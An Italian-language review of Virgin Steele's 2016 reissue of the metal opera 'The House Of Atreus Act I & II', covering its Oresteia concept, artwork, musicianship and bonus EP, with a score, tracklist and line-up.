VIRGIN STEELE – The House Of Atreus Act I & II

VIRGIN STEELE – The House Of Atreus Act I & II

VIRGIN STEELE – The House Of Atreus Act I & II

TITOLO: The House Of Atreus Act I & II
BAND: Virgin Steele
ANNO: 2016 (ristampa dei due atti usciti rispettivamente nel 1999 e nel 2000)
LABEL: SPV
GENERE: Epic Metal/Opera Rock/Symphonic Metal
COUNTRY: Usa

 

Recensire gli album creati dai Virgin Steele degli anni ’90 non è affatto semplice.
Questo è dovuto agli album i quali hanno portato onori e gloria all’interno della scena Heavy & Epic metal americana negli anni ’80. Tuttavia nel decennio successivo la band, nel ’93, commise il suo primo passo falso di una carriera, fino a quel momento immacolata, con un disco di dubbia qualità che aveva molti riferimenti al rock ed al blues.
Da quel fallimento la band come una fenice risorse più forte e viva di prima con i successivi dischi.
La band incorporò nel proprio sound elementi teatrali, aor, symphonic metal ed opera rock andando a coniare il termine “A Barbaric-Romantic Opera” per descrivere il loro sound che dal ’94 in poi divenne sempre più complesso, studiato e stratificato il quale trovò pieno compimento nella pentalogia di dischi usciti tra il ’94 ed il 2000.
Dunque i due atti che compongono la “metal opera” di The House Of Atreus seguono la scia di quanto seminato con la trilogia precedente e presentano una progressione ancora più marcata in termini di stratificazione e di complessità dell’opera.
Il primo atto è costituito da ventidue tracce, il secondo invece ne presenta dieci nel quali se ne aggiungono altre tredici che in questa ristampa sono collocate nel terzo disco.
Come materiale bonus la band americana ha inserito l’ep “The Magick Fire Music” che conta altre sei canzoni: abbiamo quindi davvero tanta carne al fuoco, non c’è che dire!
L’intera opera della band si basa sul concept della trilogia greca dell‘ Orestea, tragedia scritta dal drammaturgo Eschilo ispirato alla mitologia ellenica e viste le tematiche trattate la trama risulta affascinante, epica e drammaticamente lontana.
Il concept ben si adagia alle sonorità, ed oltre a ciò propone(va) qualcosa di diverso dall’ormai inflazionata mitologia norrena.
Questo insieme alle affascinanti cover incluse nei due atti fanno capire all’ascoltatore su cosa si è incentrata la musica, per lo meno a livello concettuale e lirico. Le copertine dei due atti riprendono lo stile dei dipinti ellenici e dei mosaici greci dell’antichità.
Visto lo stile usato dal gruppo, l’artwork è paragonabile più ad dipinto che ad un mosaico.
I dipinti greci creati in antichità rimangono a tutt’oggi un concentrato di rara bellezza nella pittura, e nonostante il peso dell’antichità che si portano sulle spalle (ed al fatto che spesso non sono perfettamente conservati) ancora oggi, hanno una ricchezza di dettagli e di particolari nelle immagini che ha dell’incredibile.
Le immagini che hanno il compito di fare da cover ai due lavori rappresentano entrambe un carro da guerra con due uomini al suo interno, i quali rappresentano un guidatore ed un soldato armato di scudo e lancia nella stessa mano e che nell’altra alza un elmo di un’unità oplita,(forse in segno di trofeo) oltre ai due cavalli che trainano a gran velocità il carro.
Le due immagini comunque seppur rappresentino lo stesso soggetto presentano delle forti differenze a livello visivo e stilistico: nella prima abbiamo colori più scuri e un piano più ravvicinato della scena ed un’immagine che sembra essersi conservata bene nel tempo; nel secondo atto invece i colori sono più chiari, contornati da sangue, con un piano della scena più distante (e nel quale si vedono le mura oltre a due soldati dei quali uno è a terra subito dietro al carro) ed un’immagine “sporcata” da delle crepe e dal piano circolare rotto in alcuni pezzi.
Da notare che in epoca omerica visto il costo che avevano i carri da guerra solo una piccola parte dell’esercito greco ne faceva uso e solitamente era usato dagli ufficiali, solo in epoca macedone i carri furono usati i maniera più intensa, al contrario dell’eterno rivale persiano che non solo ne fece sempre un grande uso ma gli perfezionò a tal punto da inventare i temibili carri falciati.

La musica come già detto riprende e amplifica quanto già fatto con le prime tre “opere metal” e alle canzoni vere e proprie vengono alternate a degli intermezzi di pochi minuti o anche solo di pochi secondi, solitamente aventi delle basi musicali semplici, a volte solo strumentali, altre invece accompagnati dalla voce di DeFeis che danno nuove sfaccettature alla musica proposta: abbiamo parti fatte solo con le tastiere, altre in acustico, altre ancora che vi sono dei cori. Le canzoni vere e proprie invece passano con una certa disinvoltura da un’ Heavy metal dai tratti epici e/o sinfonici che presentano riff rocciosi e pesanti che a volte sconfinano in lidi speed metal ad in altre occasioni hanno parti atmosferiche e melodiche ad in altre ancora strizzano l’occhio al Aor e al Hard rock.
Il guitarworks di Edward Pursino (ascia storica dei Virgin Steele, che qui si occupa anche delle parti di basso il quale viene usato come mero comprimario se non alla stregua di un “tappabuchi” nella sezione ritmica anche se riesce a svolgere il suo dovere)
è sempre su livelli elevati, come ci ha ben abituato, con riff sempre sul pezzo.
Riff prima variegati ed eterogenei oltre alle sue ottime improvvisazioni soliste sempre integrati alla perfezione, delineano le linee guida di Pursino; riff che sfociano in un virtuosismo senza mai fine a se stesso e che sa emozionare nelle parti più melodiche: le idee del poliedrico chitarrista sono molte a livello musicale e qui risulta essere il perfetto coprotagonista di David DeFeis.
Il leader risulta essere il grande cantante che era in passato e che tuttora mantiene il suo carisma con la sua voce acuta e potente (che nel primo atto vi sono momenti in cui ha una timbrica rabbiosa), ma che sa anche essere melodica e delicata, specialmente nel secondo atto nel quale il suo timbro a volte raggiunge connotati quasi femminili per la delicatezza che riesce a sprigionare.
Inoltre DeFeis oltre a dimostrare ancora una volta di essere un songwriter straripante di idee usa anche diversi effetti sonori (come ad esempio le spade che duellano o che vengono sfilate) e si occupa anche delle orchestrazioni (che danno tanto al tappeto sonoro)
e delle tastiere: queste ultime non sono un mero accessorio ma sono protagoniste sullo stesso livello della chitarra di Pursino, vengono usate non solo per creare tappeti sonori ma anche in molteplici parti soliste – specialmente negli intermezzi strumentali e narrati –
ed il buon DeFeis in qualche occasione ci regala qualche assolo di tastiera.
In definitiva si evince come le tastiere siano particolarmente presenti ed hanno un uso molto intelligente e questo contribuisce a dare davvero un ottimo contributo ai due atti a livello di atmosfera e di sound.
Infine, in quello che all’epoca era un power-trio rimane da citare Frank Gilchriest: il batterista se nei due dischi precedenti peccava per via del suo stile un po’ troppo monolitico dietro alle pelli e quindi, di riflesso faceva un lavoro un po’ sempliciotto rispetto al sound che doveva accompagnare, in questi due atti risulta molto maturato e le parti di batteria risultano essere molto più varie e dinamiche di quanto fatto nel recente passato, dando quindi (finalmente!) un’infrastruttura ritmica degna del sound globale.
Il primo atto si può considerare l’ultimo vero capolavoro di casa Virgin Steele con un sound si complesso e stratificato, avente una durata molto lunga ma allo stesso tempo è un album ricco di idee e molto vario; il secondo atto, invece, aumenta ancora di più la complessità della proposta (d’altronde è diviso in due dischi).
Oltre a ciò, il secondo atto è rispetto al primo meno roccioso e grintoso facendo molta più enfasi sulla melodia oltre che a presentare un elemento sinfonico più robusto e marcato rispetto al primo atto (che comunque è bene dire che l’elemento sinfonico è ben presente ed integrato nel sound globale).
Negli episodi migliori la band sa sprigionare un sound evocativo come poche volte è capitato di ascoltare.
Siamo ben lontani da un certo modo di intendere l’epic metal (quello che si è sviluppato attorno a band come i Manowar) dato che la band può essere considerata la “regina” del lato romantico e raffinato dell’epic metal.
Elementi, questi, che sono stati rafforzati dalle varie influenze che possiede la band;
inoltre, in questo progetto siamo dinanzi ad uno dei capitoli più intellettuali dell’epic metal vista la musica proposta e le tematiche narrate. Nel lato intellettuale di tale genere i Virgin Steele risultano essere se non i maggiori esponenti, comunque tra i principali contendenti al trono di questa scuola. Alla ristampa si aggiunge anche un’ep piacevole che presenta delle versioni alternative ed un inedito ben riuscito.
Il booklet è ben confezionato: sono presenti tutti i testi, immagini dell’epoca e molte frasi ed appunti di DeFeis.
Infine occorre spendere due parole anche sulla qualità della registrazione, la quale mantiene alti i livelli preposti dal booklet.
Grazie alla cura e l’attenzione che pone la band nei suoi lavori in studio anche la qualità di registrazione si attesta su livelli decisamente alti.
Se all’epoca per una ragione o un’altra non avete acquistato i due dischi qui riuniti, se soprattutto vi piace l’epic metal, se non avete paura di confrontarvi con un’opera tanto vasta quanto difficile e se apprezzate l’elemento teatrale nel rock e nel metal (oltre ai pesanti influssi sinfonici) questa ristampa fa al caso vostro e potrebbe farvi conoscere una delle band più affascinanti presenti nell’universo metal.
In ultima istanza non mi rimane da dire che l’opera di ristampa è stata ultimata con un esito decisamente positivo.

Voto:85/100

Tracklist:
– The House Of Atreus Act I “Kingdom Of The Fearless” (CD 1)
01. Kingdom Of The Fearless (The Destruction Of Troy)
02. Blaze Of Victory (The Watchman’s Song)
03. Through The Ring Of Fire
04. Prelude In A Minor (The Voyage Home) (strumentale)
05. Death Darkly Closed Their Eyes (The Messenger’s Song)
06. In Triumph Or Tragedy (strumentale)
07. Return Of The King
08 .Flames Of The Black Star (The Arrows Of Herakles)
09. Narcissus (strumentale)
10. And Hecate Smiled
11. A Song Of Prophecy (strumentale)
12. Child Of Desolation
13. G Minor Invention (Descent Into Death’s Twilight Kingdom) (strumentale)
14. Day Of Wrath (strumentale)
15. Great Sword Of Flame
16. The Gift Of Tantalos
17. Iphigenia In Hades
18. The Fire God
19. Garden Of Lamentation
20. Agony And Shame
21. Gate Of Kings
22. Via Sacra (strumentale)

– The House Of Atreus Act II “Wings Of Vengeance” (CD 2, CD 3)
01. Wings of Vengeance
02. Hymn to the Gods of the Night
03. Fire of Ecstasy
04. The Oracle of Apollo
05. The Voice as Weapon
06. Moira
07. Nemesis (strumentale)
08. The Wine of Violence
09. A Token of my Hatred
10. Summoning the Powers
11. Flames of Thy Power
12. Arms of Mercury
– The By The Gods Suite (13-17)
13. By the Gods
14. Aeropagos (strumentale)
15. The Judgement of the Son
16. Hammer the Winds
17. Guilt or Innocence (strumentale)
– The Legends Suite (18-20) 
18. The Fields of Asphodel
19. When the Legends Die
20. Anemone (Withered Hopes… Forsaken)
21. The Waters of Acheron (strumentale)
22. Fantasy and Fugue in D Minor (The Death of Orestes) (strumentale)
23 .Resurrection Day (The Finale)

– Bonus Tracks: The “Magick Fire Music” Ep (CD 3)
01. Gates Of Kings (Acoustic Version)
02. Agamemnon’s Last Hour
03. Great Sword Of Flame (Alternate Version)
04. Prometheus The Fallen One (Re-Mix)
05. Flames Of Thy Power (From Blood They Rise) (Alternate Mix)
06. Wings Of Vengeance (Alternate Mix)



Line Up:
David DeFeis – Voce, Tastiere, Orchestrazioni, Effetti
Edward Pursino – Chitarre e Basso
Frank Gilchriest – Batteria

https://www.facebook.com/VIRGINSTEELEOFFICIAL/?fref=ts

 

 

 

 

 

 

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Sebastiano Dall'Armellina

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